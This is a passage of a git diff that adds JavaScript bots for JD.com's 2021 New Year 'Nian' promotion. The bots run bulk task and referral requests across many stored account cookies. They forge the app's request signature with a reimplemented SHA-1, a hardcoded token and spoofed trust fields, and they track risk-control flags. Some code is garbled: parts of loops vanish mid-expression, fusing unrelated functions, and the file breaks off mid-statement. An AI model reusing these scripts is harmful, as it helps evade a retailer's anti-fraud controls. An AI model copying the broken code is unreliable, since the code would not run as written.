console.log(`助力好友成功`) + } else { + console.log(`任务上报成功`) + } + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function collectSpecialFinalScore() { + let temp = { + "ic": 1, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + "ic" : 1, + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectSpecialGift", body, "nian_collectSpecialGift"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result && data.data.result.collectInfo && data.data.result.collectInfo.score) + console.log(`任务完成,获得${data.data.result.collectInfo.score}爆竹🧨`) + else + console.log(JSON.stringify(data)) + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function nian_doAdditionalTask() { + let rnd = getRnd(); + let nonstr = randomWord(false,10) + let time = Date.now() + let key = minusByByte(nonstr.slice(0,5),String(time).slice(-5)) + let msg = `random=${rnd}&token=3d1da4a6ef43b859927ccce65c5dc4ca&time=${time}&nonce_str=${nonstr}&key=${key}&is_trust=true` + let sign = bytesToHex(wordsToBytes(getSign(msg))).toUpperCase() + const body = `{"ss":"{\\"extraData\\":{\\"is_trust\\":true,\\"sign\\":\\"${sign}\\",\\"fpb\\":\\"\\",\\"time\\":${time},\\"encrypt\\":\\"1\\",\\"nonstr\\":\\"${nonstr}\\",\\"jj\\":\\"\\",\\"token\\":\\"3d1da4a6ef43b859927ccce65c5dc4ca\\",\\"cf_v\\":\\"1.0.2\\",\\"client_version\\":\\"2.2.1\\",\\"call_stack\\":\\"\\",\\"session_c\\":\\"\\",\\"buttonid\\":\\"homePopupHelpButtonId\\",\\"sceneid\\":\\"mainTaskh5\\"},\\"secretp\\":\\"${$.secretp}\\",\\"random\\":\\"${rnd}\\"}","inviteId":"cAxZdTXtIumO4w2cDgSqvQlsxPG5DFN5kS8cW5GjwAHNrEWgnhuGYvcChsg"}` + return new Promise(resolve => { + $.post(taskPostUrl("nian_doAdditionalTask", JSON.parse(body), "nian_doAdditionalTask"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result && data.data.result.collectInfo && data.data.result.collectInfo.score) + console.log(`任务完成,获得${data.data.result.collectInfo.score}爆竹🧨`) + else + console.log(JSON.stringify(data)) + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +function readShareCodePk() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/nian/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function shareCodesFormatPk() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodesPk = []; + if ($.shareCodesPkArr[$.index - 1]) { + $.newShareCodesPk = $.shareCodesPkArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > pkInviteCodes.length ? (pkInviteCodes.length - 1) : ($.index - 1); + $.newShareCodesPk = pkInviteCodes[tempIndex].split('@'); + } + let readShareCodeRes = null + if (new Date().getUTCHours() >= 12) + readShareCodeRes = await readShareCodePk(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodesPk = [...new Set([...$.newShareCodesPk, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的PK好友${JSON.stringify($.newShareCodesPk)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIAN_SHARECODES) { + if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNIAN_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + let shareCodesPK = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIANPK_SHARECODES) { + if (process.env.JDNIANPK_SHARECODES.indexOf('\n') > -1) { + shareCodesPK = process.env.JDNIANPK_SHARECODES.split('\n'); + } else { + shareCodesPK = process.env.JDNIANPK_SHARECODES.split('&'); + } + } + $.shareCodesPkArr = []; + if ($.isNode()) { + Object.keys(shareCodesPK).forEach((item) => { + if (shareCodesPK[item]) { + $.shareCodesPkArr.push(shareCodesPK[item]) + } + }) + } + console.log(`您提供了${$.shareCodesPkArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=88732f840b77821b345bf07fd71f609e6ff12f43`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max){ + let str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']; + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(let i=0; i>> 5] >>> 24 - e % 32 & 255); + return n +} + +function bytesToHex(t) { + for (var n = [], e = 0; e < t.length; e++) + n.push((t[e] >>> 4).toString(16)), + n.push((15 & t[e]).toString(16)); + return n.join("") +} + +function stringToBytes(t) { + t = unescape(encodeURIComponent(t)) + for (var n = [], e = 0; e < t.length; e++) + n.push(255 & t.charCodeAt(e)); + return n +} + +function bytesToWords(t) { + for (var n = [], e = 0, r = 0; e < t.length; e++, + r += 8) + n[r >>> 5] |= t[e] << 24 - r % 32; + return n +} +function getSign (t) { + t = stringToBytes(t) + var e = bytesToWords(t) + , i = 8 * t.length + , a = [] + , s = 1732584193 + , u = -271733879 + , c = -1732584194 + , f = 271733878 + , h = -1009589776; + e[i >> 5] |= 128 << 24 - i % 32, + e[15 + (i + 64 >>> 9 << 4)] = i; + for (var l = 0; l < e.length; l += 16) { + for (var p = s, g = u, v = c, d = f, y = h, m = 0; m < 80; m++) { + if (m < 16) + a[m] = e[l + m]; + else { + var w = a[m - 3] ^ a[m - 8] ^ a[m - 14] ^ a[m - 16]; + a[m] = w << 1 | w >>> 31 + } + var _ = (s << 5 | s >>> 27) + h + (a[m] >>> 0) + (m < 20 ? 1518500249 + (u & c | ~u & f) : m < 40 ? 1859775393 + (u ^ c ^ f) : m < 60 ? (u & c | u & f | c & f) - 1894007588 : (u ^ c ^ f) - 899497514); + h = f, + f = c, + c = u << 30 | u >>> 2, + u = s, + s = _ + } + s += p, + u += g, + c += v, + f += d, + h += y + } + return [s, u, c, f, h] +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_ar.js b/activity/jd_nian_ar.js new file mode 100644 index 0000000..1af4761 --- /dev/null +++ b/activity/jd_nian_ar.js @@ -0,0 +1,520 @@ +/* +京东炸年兽AR +活动时间:2021-1-18至2021-2-11 +地址:https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html +活动入口:京东app首页浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽AR +0 9 * * * jd_nian_ar.js, tag=京东炸年兽AR, enabled=true + +================Loon============== +[Script] +cron "0 9 * * *" script-path=jd_nian_ar.js,tag=京东炸年兽AR + +===============Surge================= +京东炸年兽AR = type=cron,cronexp="0 9 * * *",wake-system=1,timeout=36000,script-path=jd_nian_ar.js + +============小火箭========= +京东炸年兽AR = type=cron,script-path=jd_nian_ar.js, cronexpr="0 9 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽AR'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `cgxZaDXWZPCmiUa2akPVmFMI27K6antJzucULQPYNim_BPEW1Dwd@cgxZdTXtIrPYuAqfDgSpusxr97nagU6hwFa3TXxnqM95u3ib-xt4nWqZdz8@cgxZdTXtIO-O6QmYDVf67KCEJ19JcybuMB2_hYu8NSNQg0oS2Z_FpMce45g@cgxZdTXtILiLvg7OAASp61meehou4OeZvqbjghsZlc3rI5SBk7b3InUqSQ0@cgxZ9_MZ8gByP7FZ368dN8oTZBwGieaH5HvtnvXuK1Epn_KK8yol8OYGw7h3M2j_PxSZvYA`, + `cgxZaDXWZPCmiUa2akPVmFMI27K6antJzucULQPYNim_BPEW1Dwd@cgxZdTXtIrPYuAqfDgSpusxr97nagU6hwFa3TXxnqM95u3ib-xt4nWqZdz8@cgxZdTXtIO-O6QmYDVf67KCEJ19JcybuMB2_hYu8NSNQg0oS2Z_FpMce45g@cgxZdTXtILiLvg7OAASp61meehou4OeZvqbjghsZlc3rI5SBk7b3InUqSQ0@cgxZdTXtIumO4w2cDgSqvYcqHwjaAzLxu0S371Dh_fctFJtN0tXYzdR7JaY` +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNian() { + await getHomeData() + if(!$.secretp) return + await getArInfo() + await getHomeData(true) + await showMsg() +} +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return { "ss": (JSON.stringify(temp)) }; +} +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getHomeData(info=false) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if(!$.secretp){ + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨`) + + if(info) { + message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` + } + } + else{ + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function pkInfo() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkCollectScore() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_collectScore", {}, "nian_pk_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkAssignGroup(inviteId) { + let temp = { + "confirmFlag": 1, + "inviteId": inviteId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + inviteId:inviteId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getArInfo() { + return new Promise(resolve => { + $.get(taskArGetUrl("arNianGetUser.do"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + const { level,gameNum,maxGameNum} = data.rv + $.level = level + $.maxLevel = 27 + console.log(`当前第${$.level}/${$.maxLevel}关`) + for(let i = gameNum;i { + $.post(taskArPostUrl("arNianStartGame.do", `level=${level}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`游戏开启成功,等待20秒完成`) + await $.wait(28*1000) + await arEnd(level,data.rv.random) + } + else{ + console.log(`游戏开启失败,错误:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function arEnd(level,random) { + return new Promise(resolve => { + $.post(taskArPostUrl("arNianEndGame.do", `random=${random}&type=1&level=${level}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code 